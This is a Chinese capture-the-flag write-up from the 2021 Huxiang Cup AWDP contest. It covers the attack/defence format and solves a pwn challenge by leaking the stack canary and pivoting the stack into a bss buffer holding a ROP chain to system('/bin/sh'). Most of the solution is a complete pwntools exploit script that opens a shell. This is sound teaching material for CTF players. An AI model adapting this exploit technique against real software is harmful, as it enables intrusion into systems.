20211205-湖湘杯-PwnSecPartWriteUp

 

AWDP的模式介绍

  • 攻击就是平时的做题,拿flag

  • 防守就是在不影响正常功能使用(官方check脚本检测通过)的情况下,使官方exp无法利用成功patch后的程序

    一般替换的方法如下,tar将patch好的二进制文件和update.sh打包,后者一般这样写

    1
    2
    3
    #!/bin/sh
    chmod 777 game
    mv -f game /home/ctf/game

game

作文题

考点

  • 栈溢出
  • canary
  • pivoting

查保护

image-20211206074413404

IDA分析下逻辑,然后在函数栏直接搜有没有什么可以利用的函数:有system,但是是system("ls");还有read函数,共有两次调用,并且每一次都可以进行栈溢出

image-20211206074714902

第一处的read之后就有一个printf,典型的00截断泄漏canary,这里问题不大

image-20211206075028546

第二处的read只能溢出长度为24,而且没有/bin/sh,需要ROP,空间不够

Anza师傅提醒,最开始有个输入名字的地方,strlen控制只能输入16个,但其是导向一个1000h的bss空间,明显是让我们栈迁移用的,在上面构造ROP链

image-20211206075617581

本地exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
from pwn import *

# context.log_level = 'debug'

# io = remote("172.16.9.41"a, 8008)
io = process("./game")
system_addr = 0x401265
pop_rdi_ret = 0x402bb3
bin_sh = 0x7ffff7b95e1a
bss_addr = 0x4080C0
ret_addr = 0x40101a
leave_ret_addr = 0x401337

pwd = '20161226'
# gdb.attach(io)
def solve_awl(_recv, _send):
io.recvuntil(_recv.encode())
if _send == "":
io.sendline()
else:
io.sendline(_send)


def resolve(_times):
for _ in range(_times):
io.recvline()
io.sendline()


# bailan 1

solve_awl("1.开始游戏\n", "1")
payload = b"/bin/sh\x00" + p64(ret_addr)*0x200 + p64(pop_rdi_ret) + p64(bss_addr) + p64(system_addr)

solve_awl("请输入你的名字:\n", payload)
solve_awl("2.女\n", "1")
solve_awl("2.打开柜子\n", "2")
resolve(3)
solve_awl("2.无视提醒打开它\n", "2")
solve_awl("你终究是打开了这封信,那么就由我来告诉你一些事情吧。\n", "")
resolve(1)
solve_awl("但是当你打开了这封信,你可能就会想起我们又一次越狱失败了。\n", "")
solve_awl("现在想不起所有的事情是很正常的反应,慢慢的,你就会记起一切。\n", "")
solve_awl("如果你想逃离这里,我把线索藏在了你自己的衣服里。\n", "")
resolve(5)
solve_awl("2.气恼地撕开衣服\n", "2")
solve_awl("而布条上分布着星星和横杠。", "")
solve_awl("**---,-----,*----,-****,*----,**---,**---,-****\n", "")
solve_awl("8位数字密码:", pwd)
solve_awl("寻找密码可以用上的地方。\n", "")
resolve(2)

# leak canary
payload = b"A" * 24
solve_awl("密码:", payload)

a = io.recvuntil(b"A" * 24+b"\n")
canary = u64(io.recv(7).rjust(8,b'\x00'))

print("canary ====> " + hex(canary))

# bailan 2
io.sendline()
resolve(4)
solve_awl("(虽然我个人建议你往回走,毕竟这里什么也没有。)\n", "3")
resolve(6)
solve_awl("他们有的正在日常起居饮食,有的则在为自己接上充电插口,还有的和他一样离开了房间。\n", "")
resolve(2)
solve_awl("(你现在乖乖听话回到你的房间里,那么我们还会帮你消除你的记忆,这一切都可以当做没有发生。)\n", "")
solve_awl("(504号,虽然不知道你是怎么逃脱你的房间的,我还是发自内心的请求你回去。越走下去,你只会越孤独。)\n", "")
solve_awl("2.返回房间\n", "3")
resolve(2)
solve_awl("一台终端开始和他对话起来。\n", "")
solve_awl("(为了奖励你的贡献,我可以告诉你一切。)\n", "")
resolve(5)
solve_awl("(甚至你们中的很大一部分越狱者并没有真正意识到自己仍然被囚禁着。)\n", "")
solve_awl("(很多合成人被困在那里,不过智慧的你可能并没有到达过那里。)\n", "")
solve_awl("(最后,我们人类非常感谢你为这个观察中心取得的突破。)\n", "")
solve_awl("(但是他们都是些专业学者,并不会让你产生太多痛苦。)\n", "")
resolve(5)

io.recvline()

# get_shell
# system("ls")
# system_addr = 0x40125B
# libc.so.2.27 system + ret, or to mov directly
# payload2 = b"A" * 24 + p64(canary) + p64(0) + p64(system_addr)

# system("/bin/sh")
payload2 = b"A" * 24 + p64(canary) + p64(bss_addr) + p64(leave_ret_addr)
# gdb.attach(io)
# pause()
io.send(payload2)

io.interactive()

image-20211206003242034

打下NSS的远程

image-20211207131058351


关于防守三道都可以直接上沙箱把system给禁掉,可惜出了点问题导致手慢了,分可以更高